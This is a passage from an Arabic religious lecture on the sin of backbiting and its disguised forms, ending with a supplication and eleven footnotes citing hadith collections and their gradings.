هل من سؤال؟ بعد هذا عقد الفصل الرابع عشر نأتي عليه إن شاء الله وهو متمم للكلام في الغيبة فإنه حصر الغيبة ثم بين ما ينبغي أن يشغل المسلم نفسه ليسلم من الغيبة والكلام في عرض الناس، وسنذكر بعد هذا الفصل بعض الصور التي يفعلها بعض الناس وأنت تحسب أنه ما اغتابه وهو قد وقع في الغيبة أو هو نفسه يعلم أنه سيغتاب لكن يجعلها في قالب يعني كأنه يخدع الله، والله لا يخدعه أحد ولا يخفى عليه خافية ولهذا يتقي الإنسان ربه في لسانه، فلا يتكلم في أعراض الناس ولا يحاول أن يأتي بها في قالبٍ كالشفقة ونحو ذلك.

أسأل ربي بمنه وكرمه أن يوفقنا جميعًا لما يُحب ويرضى وأن يأخذ بنواصينا للبر والتقوى وأن يُحسن أخلاقنا ويهذب طباعنا إن قريبٌ مجيبٌ ودود وبالله التوفيق وصلى الله على نبينا محمد وآله وصحبه، والسلام عليكم ورحمة الله وبركاته…

 

¯¯¯


[1] أخرجه البخاري (3156)، وأبو داود (3043)، الترمذي (1586) عن بجالة بن عبدة رَضِيَ اللهُ عَنْهُ قال: «كنتُ كاتبًا لجَزْءِ بنِ مُعاويةَ علَى مَناذِرَ، فجاءنا كتابُ عمرَ: انظرْ مجوسَ مَن قِبَلَكَ فخُذْ منهُم الجِزْيةَ فإنَّ عبدَ الرَّحمنِ بنَ عَوفٍ أخبرني أنَّ رسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ أخذَ الجِزْيةَ مِن مَجوسِ هَجَرَ».

[2] أخرجه مسلم (2167)، وأبو داود (5205)، والترمذي (1602) واللفظ له، وأحمد (7617).

[3] أخرجه ابن حبان في صحيحه (4883).

[4] أخرجه البخاري (1356)، وأبو داود (3095)، والنسائي في السنن الكبرى (8588)، وأحمد (13977) واللفظ له.

[5] أخرجه مسلم (2589).

[6] أخرج الحديث بهذا المعنى البخاري (6069) بلفظ: «كُلُّ أُمَّتي مُعافًى إلَّا المُجاهِرِينَ، وإنَّ مِنَ المُجاهَرَةِ أنْ يَعْمَلَ الرَّجُلُ باللَّيْلِ عَمَلًا، ثُمَّ يُصْبِحَ وقدْ سَتَرَهُ اللهُ عليه، فَيَقُولَ: يا فُلانُ، عَمِلْتُ البارِحَةَ كَذا وكَذا، وقدْ باتَ يَسْتُرُهُ رَبُّهُ، ويُصْبِحُ يَكْشِفُ سِتْرَ اللهِ عنْه».

[7] أخرجه البخاري (7078).

[8] أخرجه أبو داود (4878) واللفظ له، وأحمد (13340)، والحديث صححه ابن مُفلح في الآداب الشرعية (1/31)، وأيضًا صححه الألباني في صحيح أبي داود (4878).

[9] أخرجه البخاري (6064)، ومسلم (2564).

[10] أخرجه ابن ماجه (1967)، والحديث صححه الألباني في صحيح ابن ماجه (1614).

[11] أخرجه مطولًا البخاري في الأدب المفرد (922)، والحارث في المسند (910)، والطبراني (4/180) (4076)، والحديث قال عنه ابن حجر العسقلاني في تغليق التعليق (3/255): [فيه] الإفريقي ضعيف، وأيضًا قال عنه البوصيري في إتحاف الخيرة المهرة (5/512): [فيه] عبد الرحمن بن زياد بن أنعم الأفريقي ، وهو ضعيف.